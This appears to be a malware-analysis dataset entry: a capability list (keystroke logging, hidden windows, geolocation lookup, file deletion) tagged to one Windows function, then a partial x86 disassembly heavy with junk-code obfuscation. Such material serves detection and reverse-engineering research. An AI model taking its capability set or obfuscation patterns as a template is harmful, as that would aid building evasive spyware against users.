Function at 0x4710d4
Capabilities:
Check os version
Create pipe
Create process on windows
Delete file
Enumerate gui resources
Get common file path
Get disk information
Get file attributes
Get geographical location
Hide graphical window
Log keystrokes via polling
Query service status
Terminate process

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x32cc
call fcn.004a6c60
push esi
push edi
push 1
lea ecx, [ebp - 0x1d88]
call fcn.0043523c
push 1
lea ecx, [ebp - 0xae8]
call fcn.0043523c
mov dword [ebp - 0x1d4], 0xffffffff
mov dword [ebp - 0x290], 0x9281c1d9
mov dword [ebp - 0xf4], 0
jmp 0x47112a
mov eax, dword [ebp - 0xf4]
inc eax
mov dword [ebp - 0xf4], eax
cmp dword [ebp - 0xf4], 1
jge 0x47114c
push dword [ebp - 0xf4]
lea ecx, [ebp - 0x1d88]
call fcn.0043532a
mov dword [eax], 0x1928c176
jmp 0x47111d
mov dword [ebp - 0xf4], 0
jmp 0x471165
mov eax, dword [ebp - 0xf4]
inc eax
mov dword [ebp - 0xf4], eax
cmp dword [ebp - 0xf4], 1
jge 0x471187
push dword [ebp - 0xf4]
lea ecx, [ebp - 0xae8]
call fcn.0043532a
mov dword [eax], 0xfffffffd
jmp 0x471158
push 0
lea ecx, [ebp - 0xae8]
call fcn.0043532a
and dword [eax], 0
jmp 0x4711bd
push 0
lea ecx, [ebp - 0xae8]
call fcn.0043532a
mov dword [ebp - 0x1d18], eax
mov eax, dword [ebp - 0x1d18]
mov eax, dword [eax]
dec eax
mov ecx, dword [ebp - 0x1d18]
mov dword [ecx], eax
push 0
lea ecx, [ebp - 0xae8]
call fcn.0043532a
cmp dword [eax], 0
jl 0x471554
mov dword [ebp - 0xfc], 0xcf5aa05
mov dword [ebp - 0x200c], 0xffffffff
push 0
lea ecx, [ebp - 0xae8]
call fcn.0043532a
push dword [eax]
lea ecx, [ebp - 0x1d88]
call fcn.0043532a
push 4
pop eax
test eax, eax
je 0x4713b2
push 0
lea ecx, [ebp - 0xae8]
call fcn.0043532a
push dword [eax]
lea ecx, [ebp - 0x1d88]
call fcn.0043532a
cmp dword [eax], 0
jg 0x471237
mov dword [ebp - 0x1bb4], 1
jmp 0x47123e
and dword [ebp - 0x1bb4], 0
push 0
lea ecx, [ebp - 0xae8]
call fcn.0043532a
push dword [eax]
lea ecx, [ebp - 0x1d88]
call fcn.0043532a
mov ecx, dword [ebp - 0x1bb4]
sub ecx, dword [eax]
jne 0x47126e
mov dword [ebp - 0x1bec], 1
jmp 0x471275
and dword [ebp - 0x1bec], 0
push 0
lea ecx, [ebp - 0xae8]
call fcn.0043532a
push dword [eax]
lea ecx, [ebp - 0x1d88]
call fcn.0043532a
mov ecx, dword [ebp - 0x1bec]
cmp ecx, dword [eax]
je 0x4712a5
mov dword [ebp - 0x1bf4], 1
jmp 0x4712ac
and dword [ebp - 0x1bf4], 0
cmp dword [ebp - 0x1bf4], 0x1546
jne 0x4712c4
mov dword [ebp - 0x1bfc], 1
jmp 0x4712cb
and dword [ebp - 0x1bfc], 0
mov eax, dword [ebp - 0x1bfc]
sub eax, dword [ebp - 0xfc]
jne 0x4712e6
xor eax, eax
jne 0x4712e6
and dword [ebp - 0x1c04], 0
jmp 0x4712f0
mov dword [ebp - 0x1c04], 1
push 0
lea ecx, [ebp - 0xae8]
call fcn.0043532a
mov ecx, dword [ebp - 0x1c04]
add ecx, dword [eax]
cmp ecx, dword [ebp - 0x1d4]
jg 0x471322
mov eax, 0x26a9
test eax, eax
je 0x471322
mov dword [ebp - 0x1c0c], 1
jmp 0x471329
and dword [ebp - 0x1c0c], 0
mov eax, dword [ebp - 0xfc]
cmp dword [ebp - 0x1c0c], eax
je 0x471343
mov dword [ebp - 0x1f10], 1
jmp 0x47134a
and dword [ebp - 0x1f10], 0
mov eax, dword [ebp - 0xfc]
mov dword [ebp - 0x2cb4], eax
mov eax, dword [ebp - 0x290]
mov dword [ebp - 0x2e24], eax
push 0
lea ecx, [ebp - 0xae8]
call fcn.0043532a
push dword [eax]
lea ecx, [ebp - 0x1d88]
call fcn.0043532a
mov eax, 0x9f48
cmp eax, 0xacb3
jg 0x471394
mov dword [ebp - 0x1c14], 1
jmp 0x47139b
and dword [ebp - 0x1c14], 0
xor eax, eax
inc eax
sub eax, dword [ebp - 0x1c14]
je 0x4713b2
mov dword [ebp - 0x1c1c], 1
jmp 0x4713b9
and dword [ebp - 0x1c1c], 0
mov eax, dword [ebp - 0x1c1c]
mov dword [ebp - 0x290], eax
cmp dword [ebp - 0x290], 4
jl 0x4713da
mov dword [ebp - 0x1c24], 1
jmp 0x4713e1
and dword [ebp - 0x1c24], 0
mov eax, dword [ebp - 0x1c24]
mov dword [ebp - 0xfc], eax
mov dword [ebp - 0x290], 0
jmp 0x471406
mov eax, dword [ebp - 0x290]
inc eax
mov dword [ebp - 0x290], eax
cmp dword [ebp - 0x290], 0
jg 0x47154f
mov dword [ebp - 0x1fec], 0x6c2db602
mov dword [ebp - 0x1ff4], 0x68169b2b
mov dword [ebp - 0x1d4], 0
jmp 0x471440
mov eax, dword [ebp - 0x1d4]
inc eax
mov dword [ebp - 0x1d4], eax
cmp dword [ebp - 0x1d4], 0
jg 0x47146c
mov byte [ebp - 0x397], 0
movzx eax, byte [ebp - 0x397]
test eax, eax
je 0x47146a
push 0
push 0
push 0x1ae2
call dword [sym.imp.KERNEL32.dll_OpenFileMappingA]
jmp 0x471433
mov dword [ebp - 0x1d4], 0
jmp 0x471485
mov eax, dword [ebp - 0x1d4]
inc eax
mov dword [ebp - 0x1d4], eax
cmp dword [ebp - 0x1d4], 0
jg 0x47154a
mov dword [ebp - 0x2bd0], 0xeb3e1984
mov dword [ebp - 0x2004], 6
mov dword [ebp - 0xfc], 0
jmp 0x4714bf
mov eax, dword [ebp - 0xfc]
dec eax
mov dword [ebp - 0xfc], eax
cmp dword [ebp - 0xfc], 0
jl 0x471545
mov byte [ebp - 0x390], 0
movzx eax, byte [ebp - 0x390]
test eax, eax
je 0x4714e9
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_EndPaint]
mov eax, dword [ebp - 0x1fec]
cmp dword [ebp - 0xfc], eax
jle 0x47150c
cmp dword [ebp - 0x1ff4], 0
je 0x47150c
mov dword [ebp - 0x1ffc], 1
jmp 0x471513
and dword [ebp - 0x1ffc], 0
cmp dword [ebp - 0x2004], 0
jne 0x47152a
xor eax, eax
inc eax
jne 0x47152a
and dword [ebp - 0x1c2c], 0
jmp 0x471534
mov dword [ebp - 0x1c2c], 1
mov eax, dword [ebp - 0x1c2c]
mov dword [ebp - 0x200c], eax
jmp 0x4714b2
jmp 0x471478
jmp 0x4713f9
jmp 0x471199
mov byte [ebp - 0x248], 0
movzx eax, byte [ebp - 0x248]
test eax, eax
je 0x471580
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_CreateEnhMetaFileW]
lea ecx, [ebp - 0xae8]
call fcn.0043530e
lea ecx, [ebp - 0x1d88]
call fcn.0043530e
mov dword [ebp - 0x5cc], 0xffffffff
mov dword [ebp - 0x2f8c], 4
mov dword [ebp - 0x2bd8], 3
mov dword [ebp - 0x2e34], 0xe58d020b
mov dword [ebp - 0x2be0], 5
mov dword [ebp - 0x3054], 0xb568be13
mov dword [ebp - 0x2be8], 0xffffffff
mov dword [ebp - 0x2e44], 0xfffffffb
mov dword [ebp - 0x2bf0], 0x8d303f02
mov dword [ebp - 0x2f94], 0xf88039d6
mov dword [ebp - 0x2bf8], 0
mov dword [ebp - 0x2e54], 0xd28
mov dword [ebp - 0x34], 0
jmp 0x47161e
mov eax, dword [ebp - 0x34]
inc eax
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 1
jge 0x471634
mov eax, dword [ebp - 0x34]
mov dword [ebp + eax*4 - 0x1f14], 0x40d7
jmp 0x471617
mov dword [ebp - 0x34], 0
jmp 0x471644
mov eax, dword [ebp - 0x34]
inc eax
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 2
jge 0x47165a
mov eax, dword [ebp - 0x34]
mov dword [ebp + eax*4 - 0x3164], 0x21ec2184
jmp 0x47163d
mov dword [ebp - 0x34], 0
jmp 0x47166a
mov eax, dword [ebp - 0x34]
inc eax
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 3
jge 0x471680
mov eax, dword [ebp - 0x34]
mov dword [ebp + eax*4 - 0x3238], 0x8b39
jmp 0x471663
mov dword [ebp - 0x5cc], 0
jmp 0x471699
mov eax, dword [ebp - 0x5cc]
inc eax
mov dword [ebp - 0x5cc], eax
cmp dword [ebp - 0x5cc], 0
jg 0x47177a
push 1
lea ecx, [ebp - 0x1ea0]
call fcn.0043523c
mov dword [ebp - 0x1c3c], 0x6f4846e1
mov dword [ebp - 0x794], 0
jmp 0x4716d6
mov eax, dword [ebp - 0x794]
inc eax
mov dword [ebp - 0x794], eax
cmp dword [ebp - 0x794], 1
jge 0x4716f8
push dword [ebp - 0x794]
lea ecx, [ebp - 0x1ea0]
call fcn.0043532a
mov dword [eax], 1
jmp 0x4716c9
push 0
lea ecx, [ebp - 0x1ea0]
call fcn.0043532a
and dword [eax], 0
jmp 0x47172e
push 0
lea ecx, [ebp - 0x1ea0]
call fcn.0043532a
mov dword [ebp - 0x1c34], eax
mov eax, dword [ebp - 0x1c34]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 0x1c34]
mov dword [ecx], eax
push 0
lea ecx, [ebp - 0x1ea0]
call fcn.0043532a
cmp dword [eax], 0
jg 0x47175d
push 0
lea ecx, [ebp - 0x1ea0]
call fcn.0043532a
mov eax, dword [eax]
cmp dword [ebp + eax*4 - 0x1f14], 0
je 0x47175b
jmp 0x47175d
jmp 0x47170a
mov eax, dword [ebp - 0x1c3c]
inc eax
mov dword [ebp - 0x1c3c], eax
lea ecx, [ebp - 0x1ea0]
call fcn.0043530e
jmp 0x47168c
push 2
lea ecx, [ebp - 0x2d50]
call fcn.0043523c
mov dword [ebp - 0x88c], 0x13532fe2
mov dword [ebp - 0x5d4], 0
jmp 0x4717aa
mov eax, dword [ebp - 0x5d4]
inc eax
mov dword [ebp - 0x5d4], eax
cmp dword [ebp - 0x5d4], 2
jge 0x4717c9
push dword [ebp - 0x5d4]
lea ecx, [ebp - 0x2d50]
call fcn.0043532a
or dword [eax], 0xffffffff
jmp 0x47179d
mov dword [ebp - 0x88c], 1
jmp 0x4717e2
mov eax, dword [ebp - 0x88c]
dec eax
mov dword [ebp - 0x88c], eax
cmp dword [ebp - 0x88c], 0
jl 0x471809
mov byte [ebp - 0x331], 0
movzx eax, byte [ebp - 0x331]
test eax, eax
je 0x471807
push 0
push 0
call dword [sym.imp.USER32.dll_GetMonitorInfoW]
jmp 0x4717d5
lea ecx, [ebp - 0x2d50]
call fcn.0043530e
push 1
lea ecx, [ebp - 0x1df4]
call fcn.0043523c
mov dword [ebp - 0x7c], 0xfffffffe
push 4
lea ecx, [ebp - 0x27d8]
call fcn.0043523c
mov dword [ebp - 0xa60], 0x33c017f2
mov dword [ebp - 0x19c], 0
jmp 0x471858
mov eax, dword [ebp - 0x19c]
inc eax
mov dword [ebp - 0x19c], eax
cmp dword [ebp - 0x19c], 4
jge 0x47187a
push dword [ebp - 0x19c]
lea ecx, [ebp - 0x27d8]
call fcn.0043532a
mov dword [eax], 4
jmp 0x47184b
mov dword [ebp - 0x19c], 0
jmp 0x471893
mov eax, dword [ebp - 0x19c]
inc eax
mov dword [ebp - 0x19c], eax
cmp dword [ebp - 0x19c], 2
jge 0x4718af
mov eax, dword [ebp - 0x19c]
mov dword [ebp + eax*4 - 0x2c2c], 0xfffffff6
jmp 0x471886
xor eax, eax
inc eax
je 0x47193b
mov eax, dword [ebp - 0x7c]
cmp dword [ebp - 0x7c], eax
je 0x4718cc
mov dword [ebp - 0x1c44], 1
jmp 0x4718d3
and dword [ebp - 0x1c44], 0
mov eax, dword [ebp - 0x7c]
cmp dword [ebp - 0x1c44], eax
jl 0x4718ea
mov dword [ebp - 0x1c4c], 1
jmp 0x4718f1
and dword [ebp - 0x1c4c], 0
mov eax, dword [ebp - 0x7c]
imul eax, dword [ebp - 0x1c4c]
test eax, eax
jne 0x47190b
mov dword [ebp - 0x1c54], 1
jmp 0x471912
and dword [ebp - 0x1c54], 0
mov eax, dword [ebp - 0x1c54]
sub eax, 0xfff9
mov dword [ebp - 0xa60], eax
cmp dword [ebp - 0xa60], 0x15bb0028
jg 0x47193b
mov dword [ebp - 0x1c5c], 1
jmp 0x471942
and dword [ebp - 0x1c5c], 0
cmp dword [ebp - 0x1c5c], 4
jne 0x471969
cmp dword [ebp - 0x7c], 0
jne 0x471969
cmp dword [ebp - 0x7c], 0
jne 0x471969
cmp dword [ebp - 0xa60], 0
jne 0x471969
and dword [ebp - 0x1c64], 0
jmp 0x471973
mov dword [ebp - 0x1c64], 1
mov eax, dword [ebp - 0x7c]
cmp dword [ebp - 0x1c64], eax
jle 0x47198a
mov dword [ebp - 0x1c6c], 1
jmp 0x471991
and dword [ebp - 0x1c6c], 0
mov eax, dword [ebp - 0x7c]
cmp eax, dword [ebp - 0x1c6c]
jl 0x4719a8
mov dword [ebp - 0x1c74], 1
jmp 0x4719af
and dword [ebp - 0x1c74], 0
mov eax, dword [ebp - 0x7c]
cmp dword [ebp - 0x1c74], eax
jle 0x4719c6
mov dword [ebp - 0x1c84], 1
jmp 0x4719cd
and dword [ebp - 0x1c84], 0
mov eax, dword [ebp - 0x7c]
mov dword [ebp - 0x1c7c], eax
push 3
lea ecx, [ebp - 0x27d8]
call fcn.0043532a
mov ecx, dword [ebp - 0x1c7c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x1c7c]
cmp eax, dword [ebp - 0x1c84]
jne 0x471a05
mov dword [ebp - 0x1c8c], 1
jmp 0x471a0c
and dword [ebp - 0x1c8c], 0
mov eax, dword [ebp - 0x7c]
mov ecx, dword [ebp - 0x1c8c]
sub ecx, 0x47723028
add eax, ecx
cmp eax, dword [ebp - 0x7c]
je 0x471a2e
mov dword [ebp - 0x1c94], 1
jmp 0x471a35
and dword [ebp - 0x1c94], 0
mov eax, dword [ebp - 0x7c]
cmp dword [ebp - 0x1c94], eax
jle 0x471a4c
mov dword [ebp - 0x1d74], 1
jmp 0x471a53
and dword [ebp - 0x1d74], 0
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x1d74]
mov dword [ebp + eax - 0x2c2c], ecx
lea ecx, [ebp - 0x27d8]
call fcn.0043530e
push 1
lea ecx, [ebp - 0xb08]
call fcn.0043523c
mov dword [ebp - 0x201c], 5
mov dword [ebp - 0x2c00], 0x9e53e58b
mov dword [ebp - 0x1920], 0xd2703d9b
mov dword [ebp - 0x2ee0], 1
mov dword [ebp - 0x2024], 0x72b21a35
mov dword [ebp - 0x2c08], 0xfffffff7
mov dword [ebp - 0x2e64], 0xf17e2f9d
mov dword [ebp - 0x2c10], 0xcf4a4163
mov dword [ebp - 0x2088], 0xb3bfa32a
mov dword [ebp - 0xbac], 0xa3531f1
mov dword [ebp - 0x480], 0x8586fd5d
mov dword [ebp - 0x202c], 0xffffffff
mov dword [ebp - 0x9a0], 0xfffc
mov dword [ebp - 0x1918], 0x40e708be
mov dword [ebp - 0x2080], 0x9cbadbef
mov dword [ebp - 0x2ee4], 0x5c526587
mov byte [ebp - 0x24a], 0
movzx eax, byte [ebp - 0x24a]
test eax, eax
je 0x471b38
push 0
call dword [sym.imp.KERNEL32.dll_HeapDestroy]
mov eax, dword [ebp - 0x201c]
mov dword [ebp - 0x2c18], eax
cmp dword [ebp - 0x9a0], 0
jne 0x471b6e
mov dword [ebp - 0x2024], 0x924f63ab
imul eax, dword [ebp - 0x1920], 0xffff
test eax, eax
jne 0x471b6e
and dword [ebp - 0x1d7c], 0
jmp 0x471b78
mov dword [ebp - 0x1d7c], 1
mov eax, dword [ebp - 0x202c]
cmp eax, dword [ebp - 0x1d7c]
jl 0x471b92
mov dword [ebp - 0x1d40], 1
jmp 0x471b99
and dword [ebp - 0x1d40], 0
mov eax, dword [ebp - 0x1d40]
mov dword [ebp - 0xbac], eax
mov eax, dword [ebp - 0x9a0]
cmp dword [ebp - 0xbac], eax
jge 0x471bbf
mov dword [ebp - 0x1900], 1
jmp 0x471bc6
and dword [ebp - 0x1900], 0
mov eax, dword [ebp - 0x1918]
cmp dword [ebp - 0x1900], eax
jl 0x471be0
mov dword [ebp - 0xbb4], 1
jmp 0x471be7
and dword [ebp - 0xbb4], 0
mov eax, dword [ebp - 0xbb4]
add eax, 0x53710cb2
cmp eax, 0xd8bc
jg 0x471c05
mov dword [ebp - 0x1908], 1
jmp 0x471c0c
and dword [ebp - 0x1908], 0
cmp dword [ebp - 0x1908], 0x744ed25e
je 0x471c24
mov dword [ebp - 0xbbc], 1
jmp 0x471c2b
and dword [ebp - 0xbbc], 0
mov eax, dword [ebp - 0x480]
dec eax
mov dword [ebp - 0x480], eax
mov eax, dword [ebp - 0xbbc]
sub eax, 0x6ed
cmp dword [ebp - 0x480], eax
jg 0x471c57
mov dword [ebp - 0x1910], 1
jmp 0x471c5e
and dword [ebp - 0x1910], 0
mov eax, dword [ebp - 0x9a0]
cmp dword [ebp - 0x1910], eax
jg 0x471c75
cmp dword [ebp - 0x480], 0
jne 0x471c87
cmp dword [ebp - 0x480], 0
jne 0x471c87
and dword [ebp - 0xbc4], 0
jmp 0x471c91
mov dword [ebp - 0xbc4], 1
imul eax, dword [ebp - 0xbc4], 0xfbc6
test eax, eax
jne 0x471ca6
cmp dword [ebp - 0x1918], 0
mov eax, dword [ebp - 0x2080]
cmp dword [ebp - 0x2088], eax
je 0x471cc0
mov dword [ebp - 0xbcc], 1
jmp 0x471cc7
and dword [ebp - 0xbcc], 0
mov eax, dword [ebp - 0xbcc]
mov dword [ebp - 0x1920], eax
mov dword [ebp - 0x11c], 0xffffffff
mov dword [ebp - 0xbc], 0xffffffff
mov dword [ebp - 0x5dc], 0
jmp 0x471d00
mov eax, dword [ebp - 0x5dc]
inc eax
mov dword [ebp - 0x5dc], eax
cmp dword [ebp - 0x5dc], 1
jge 0x471d1c
mov eax, dword [ebp - 0x5dc]
mov dword [ebp + eax*4 - 0x488], 0
jmp 0x471cf3
mov dword [ebp - 0xbc], 0
jmp 0x471d35
mov eax, dword [ebp - 0xbc]
dec eax
mov dword [ebp - 0xbc], eax
cmp dword [ebp - 0xbc], 0
jl 0x471dd6
mov dword [ebp - 0x79c], 0x8a137b18
mov dword [ebp - 0x79c], 0
jmp 0x471d65
mov eax, dword [ebp - 0x79c]
inc eax
mov dword [ebp - 0x79c], eax
cmp dword [ebp - 0x79c], 0
jg 0x471dbf
mov dword [ebp - 0x5e4], 0x9aa810d2
mov dword [ebp - 0x5e4], 0
jmp 0x471d91
mov eax, dword [ebp - 0x5e4]
inc eax
mov dword [ebp - 0x5e4], eax
cmp dword [ebp - 0x5e4], 0
jg 0x471dbd
mov byte [ebp - 0x392], 0
movzx eax, byte [ebp - 0x392]
test eax, eax
je 0x471dbb
push 0
push 0x1728
push 0
call dword [sym.imp.GDI32.dll_GetMetaFileBitsEx]
jmp 0x471d84
jmp 0x471d58
mov eax, dword [ebp - 0xbc]
cmp dword [ebp + eax*4 - 0x488], 0
je 0x471dd1
jmp 0x471dd6
jmp 0x471d28
mov dword [ebp - 0xbc], 0
jmp 0x471def
mov eax, dword [ebp - 0xbc]
inc eax
mov dword [ebp - 0xbc], eax
cmp dword [ebp - 0xbc], 0
jg 0x472092
mov dword [ebp - 0x26b8], 0x613717be
mov dword [ebp - 0x26b4], 0x613717be
mov dword [ebp - 0x26b0], 0x613717be
mov dword [ebp - 0x26ac], 0x613717be
lea ecx, [ebp - 0x985]
call fcn.00435339
push eax
lea eax, [ebp - 0x26a8]
push eax
lea eax, [ebp - 0x26b8]
push eax
lea ecx, [ebp - 0x316c]
call fcn.0043533c
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0x1eac]
call fcn.004352e8
mov dword [ebp - 0x2090], 0xed383de4
mov dword [ebp - 0x20a0], 0xfffffffb
mov dword [ebp - 0xbec], 1
mov dword [ebp - 0x20a8], 0xfffffffc
mov byte [ebp - 0x24c], 0
movzx eax, byte [ebp - 0x24c]
test eax, eax
je 0x471e9d
push 0
push 0
call dword [sym.imp.USER32.dll_LoadMenuW]
push 0
lea ecx, [ebp - 0x1eac]
call fcn.0043532a
and dword [eax], 0
jmp 0x471ed3
push 0
lea ecx, [ebp - 0x1eac]
call fcn.0043532a
mov dword [ebp - 0xbd4], eax
mov eax, dword [ebp - 0xbd4]
mov eax, dword [eax]
dec eax
mov ecx, dword [ebp - 0xbd4]
mov dword [ecx], eax
push 0
lea ecx, [ebp - 0x1eac]
call fcn.0043532a
cmp dword [eax], 0
jl 0x472082
mov dword [ebp - 0x510], 0xffffffff
mov dword [ebp - 0x1930], 0xf3938425
mov dword [ebp - 0x510], 0
jmp 0x471f16
mov eax, dword [ebp - 0x510]
inc eax
mov dword [ebp - 0x510], eax
cmp dword [ebp - 0x510], 1
jge 0x471f32
mov eax, dword [ebp - 0x510]
mov dword [ebp + eax*4 - 0x488], 0xfffffffe
jmp 0x471f09
mov eax, 0xfd
test eax, eax
je 0x47204e
mov eax, dword [ebp - 0xbc]
mov eax, dword [ebp + eax*4 - 0x488]
mov dword [ebp - 0x2e74], eax
mov eax, dword [ebp - 0xbc]
mov eax, dword [ebp + eax*4 - 0x488]
mov dword [ebp - 0x2c20], eax
push 0xfffffffffffffffd
pop esi
sub esi, dword [ebp - 0x1930]
push 2
lea ecx, [ebp - 0x1eac]
call fcn.0043532a
cmp esi, dword [eax]
jl 0x471f8b
mov dword [ebp - 0x1928], 1
jmp 0x471f92
and dword [ebp - 0x1928], 0
mov eax, dword [ebp - 0x2090]
cmp dword [ebp - 0x1928], eax
jl 0x471fac
mov dword [ebp - 0xbdc], 1
jmp 0x471fb3
and dword [ebp - 0xbdc], 0
push 0
lea ecx, [ebp - 0x1eac]
call fcn.0043532a
mov ecx, dword [ebp - 0xbdc]
cmp ecx, dword [eax]
jge 0x471fd6
mov dword [ebp - 0x2098], 1
jmp 0x471fdd
and dword [ebp - 0x2098], 0
mov eax, dword [ebp - 0x1930]
mov dword [ebp - 0x2eec], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x488], 0
ja 0x472005
mov dword [ebp - 0xbe4], 1
jmp 0x47200c
and dword [ebp - 0xbe4], 0
mov eax, dword [ebp - 0x20a0]
cmp dword [ebp - 0xbe4], eax
jle 0x472026
mov dword [ebp - 0x1938], 1
jmp 0x47202d
and dword [ebp - 0x1938], 0
mov eax, dword [ebp - 0x1938]
mov dword [ebp - 0xbec], eax
cmp dword [ebp - 0xbec], 0
je 0x47204e
mov dword [ebp - 0x1940], 1
jmp 0x472055
and dword [ebp - 0x1940], 0
cmp dword [ebp - 0x1940], 1
jl 0x47206a
mov dword [ebp - 0xbf4], 1
jmp 0x472071
and dword [ebp - 0xbf4], 0
mov eax, dword [ebp - 0xbf4]
mov dword [ebp - 0x20a8], eax
jmp 0x471eaf
lea ecx, [ebp - 0x1eac]
call fcn.0043530e
jmp 0x471de2
mov dword [ebp - 0x2b0], 0x9281c1d9
mov dword [ebp - 4], 0x9ec4279c
push 3
lea ecx, [ebp - 0xb84]
call fcn.0043523c
mov dword [ebp - 0x1f0], 0x2280643b
mov dword [ebp - 0x104], 0xb667f5ae
mov dword [ebp - 0x298], 0x796a0b59
mov dword [ebp - 0xc64], 0x7bd5
mov dword [ebp - 0x20c0], 0xf60
mov dword [ebp - 0x19d4], 0xd206f84c
mov dword [ebp - 0x64], 0
jmp 0x4720fc
mov eax, dword [ebp - 0x64]
inc eax
mov dword [ebp - 0x64], eax
cmp dword [ebp - 0x64], 3
jge 0x472115
push dword [ebp - 0x64]
lea ecx, [ebp - 0xb84]
call fcn.0043532a
or dword [eax], 0xffffffff
jmp 0x4720f5
mov dword [ebp - 0x64], 0
jmp 0x472125
mov eax, dword [ebp - 0x64]
inc eax
mov dword [ebp - 0x64], eax
cmp dword [ebp - 0x64], 2
jge 0x47213b
mov eax, dword [ebp - 0x64]
mov dword [ebp + eax*4 - 0x1bc0], 0xc264f89c
jmp 0x47211e
mov dword [ebp - 0x64], 0
jmp 0x47214b
mov eax, dword [ebp - 0x64]
inc eax
mov dword [ebp - 0x64], eax
cmp dword [ebp - 0x64], 2
jge 0x472161
mov eax, dword [ebp - 0x64]
mov dword [ebp + eax*4 - 0x2564], 0
jmp 0x472144
cmp dword [ebp - 4], 0x7b6fe6d3
jl 0x472176
mov dword [ebp - 0x1948], 1
jmp 0x47217d
and dword [ebp - 0x1948], 0
mov eax, dword [ebp - 4]
add eax, dword [ebp - 0x1948]
cmp eax, dword [ebp - 4]
jle 0x472197
mov dword [ebp - 0xbfc], 1
jmp 0x47219e
and dword [ebp - 0xbfc], 0
mov eax, dword [ebp - 0xbfc]
sub eax, dword [ebp - 4]
mov dword [ebp - 0x1950], eax
push 1
lea ecx, [ebp - 0xb84]
call fcn.0043532a
mov ecx, dword [ebp - 0x1950]
mov dword [eax], ecx
mov eax, dword [ebp - 4]
cmp eax, dword [ebp - 0x1950]
jge 0x4721d9
mov dword [ebp - 0xc04], 1
jmp 0x4721e0
and dword [ebp - 0xc04], 0
mov eax, dword [ebp - 4]
cmp eax, dword [ebp - 0xc04]
jle 0x4721f7
mov dword [ebp - 0x1958], 1
jmp 0x4721fe
and dword [ebp - 0x1958], 0
mov eax, dword [ebp - 0x1958]
mov dword [ebp - 0x1f0], eax
cmp dword [ebp - 0x1f0], 0
je 0x472228
mov eax, 0xfffd
test eax, eax
je 0x472228
mov dword [ebp - 0xc0c], 1
jmp 0x47222f
and dword [ebp - 0xc0c], 0
mov eax, dword [ebp - 4]
cmp dword [ebp - 0xc0c], eax
je 0x472246
mov dword [ebp - 0x1960], 1
jmp 0x47224d
and dword [ebp - 0x1960], 0
mov eax, dword [ebp - 4]
cmp dword [ebp - 0x1960], eax
jne 0x472264
mov dword [ebp - 0xc14], 1
jmp 0x47226b
and dword [ebp - 0xc14], 0
mov eax, dword [ebp - 4]
cmp eax, dword [ebp - 0xc14]
jle 0x472288
cmp dword [ebp - 4], 0
je 0x472288
mov dword [ebp - 0x1968], 1
jmp 0x47228f
and dword [ebp - 0x1968], 0
mov eax, dword [ebp - 0x1968]
mov dword [ebp - 0x104], eax
mov eax, dword [ebp - 0x104]
mov dword [ebp - 0x298], eax
cmp dword [ebp - 0x298], 0
jae 0x4722bc
mov dword [ebp - 0xc1c], 1
jmp 0x4722c3
and dword [ebp - 0xc1c], 0
mov eax, dword [ebp - 4]
cmp dword [ebp - 0xc1c], eax
jg 0x4722da
mov dword [ebp - 0x1970], 1
jmp 0x4722e1
and dword [ebp - 0x1970], 0
mov eax, dword [ebp - 4]
cmp dword [ebp - 0x1970], eax
je 0x472556
mov dword [ebp - 0x3a8], 0xffff
push 4
lea ecx, [ebp - 0x28e0]
call fcn.0043523c
mov dword [ebp - 0x20b0], 1
mov dword [ebp - 0x8e8], 0
jmp 0x47232a
mov eax, dword [ebp - 0x8e8]
inc eax
mov dword [ebp - 0x8e8], eax
cmp dword [ebp - 0x8e8], 4
jge 0x472349
push dword [ebp - 0x8e8]
lea ecx, [ebp - 0x28e0]
call fcn.0043532a
or dword [eax], 0xffffffff
jmp 0x47231d
mov dword [ebp - 4], 0xffffffed
jmp 0x472359
mov eax, dword [ebp - 4]
inc eax
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 7
jl 0x472390
mov dword [ebp - 0x104], 0xfffffff3
jmp 0x472378
mov eax, dword [ebp - 0x104]
dec eax
mov dword [ebp - 0x104], eax
cmp dword [ebp - 0x104], 0xffffffe3
jne 0x47238e
cmp dword [ebp - 0x298], 0
je 0x47238c
jmp 0x47238e
jmp 0x47236b
jmp 0x472352
mov eax, dword [ebp - 0x298]
dec eax
je 0x472445
mov eax, dword [ebp - 0x3a8]
mov dword [ebp - 0x2c54], eax
mov eax, dword [ebp - 0x298]
cmp dword [ebp - 0x104], eax
jg 0x4723c3
mov dword [ebp - 0xc24], 1
jmp 0x4723ca
and dword [ebp - 0xc24], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x1bc0]
cmp dword [ebp - 0xc24], eax
jl 0x4723eb
mov dword [ebp - 0x1978], 1
jmp 0x4723f2
and dword [ebp - 0x1978], 0
mov esi, dword [ebp - 0x1978]
sub esi, dword [ebp - 0x3a8]
push 2
lea ecx, [ebp - 0xb84]
call fcn.0043532a
cmp esi, dword [eax]
jne 0x472421
cmp dword [ebp - 0x3a8], 0
jne 0x472421
and dword [ebp - 0xc2c], 0
jmp 0x47242b
mov dword [ebp - 0xc2c], 1
mov eax, dword [ebp - 0x298]
cmp eax, dword [ebp - 0xc2c]
je 0x472445
mov dword [ebp - 0x1980], 1
jmp 0x47244c
and dword [ebp - 0x1980], 0
push 1
lea ecx, [ebp - 0xb84]
call fcn.0043532a
mov ecx, dword [ebp - 0x1980]
imul ecx, dword [eax]
cmp ecx, 0xfffffffc
jne 0x472473
mov dword [ebp - 0xc34], 1
jmp 0x47247a
and dword [ebp - 0xc34], 0
mov eax, dword [ebp - 0xc34]
inc eax
cmp eax, dword [ebp - 0x3a8]
jge 0x4724a7
push 1
lea ecx, [ebp - 0xb84]
call fcn.0043532a
cmp dword [eax], 0
je 0x4724a7
mov dword [ebp - 0x1994], 1
jmp 0x4724ae
and dword [ebp - 0x1994], 0
mov eax, dword [ebp - 0x1994]
sub eax, dword [ebp - 0x104]
mov dword [ebp - 0xc3c], eax
push 2
